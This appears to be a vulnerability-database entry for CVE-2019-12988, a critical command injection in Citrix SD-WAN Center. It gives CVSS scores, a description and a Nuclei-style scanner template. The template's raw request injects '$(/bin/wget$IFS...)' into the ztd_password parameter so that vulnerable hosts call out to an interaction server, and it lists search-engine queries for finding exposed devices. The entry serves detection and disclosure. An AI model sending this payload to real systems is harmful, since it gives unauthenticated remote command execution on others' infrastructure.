CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
99.8%
Citrix SD-WAN Center is susceptible to remote command injection via the addModifyZTDProxy function in NmsController. The function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ztd_password, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
id: CVE-2019-12988
info:
name: Citrix SD-WAN Center - Remote Command Injection
author: gy741
severity: critical
description: |
Citrix SD-WAN Center is susceptible to remote command injection via the addModifyZTDProxy function in NmsController. The function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ztd_password, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data exfiltration, and potential compromise of the entire SD-WAN infrastructure.
remediation: |
Apply the latest security patches provided by Citrix to mitigate the vulnerability.
reference:
- https://www.tenable.com/security/research/tra-2019-31
- https://support.citrix.com/article/CTX251987
- https://nvd.nist.gov/vuln/detail/CVE-2019-12988
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-12988
cwe-id: CWE-78
epss-score: 0.97276
epss-percentile: 0.99843
cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: citrix
product: netscaler_sd-wan
shodan-query:
- http.title:"Citrix SD-WAN"
- http.title:"citrix sd-wan"
fofa-query: title="citrix sd-wan"
google-query: intitle:"citrix sd-wan"
tags: cve,cve2019,rce,unauth,oast,tenable,citrix
http:
- raw:
- |
GET /login HTTP/1.1
Host: {{Hostname}}
- |+
GET /Collector/nms/addModifyZTDProxy?ztd_server=127.0.0.1&ztd_port=3333&ztd_username=user&ztd_password=$(/bin/wget$IFShttp://{{interactsh-url}}) HTTP/1.1
Host: {{Hostname}}
Accept: */*
unsafe: true
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(body_1, "<title>Citrix SD-WAN</title>")'
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 4a0a00473045022100d8d237b495989562610038e5538435d3f191432d2fa998dadfa3a838b2e587af0220626dda5e055961604d2f45b342773df20d916c4f4ba479a5fdc880a801ab273f:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
99.8%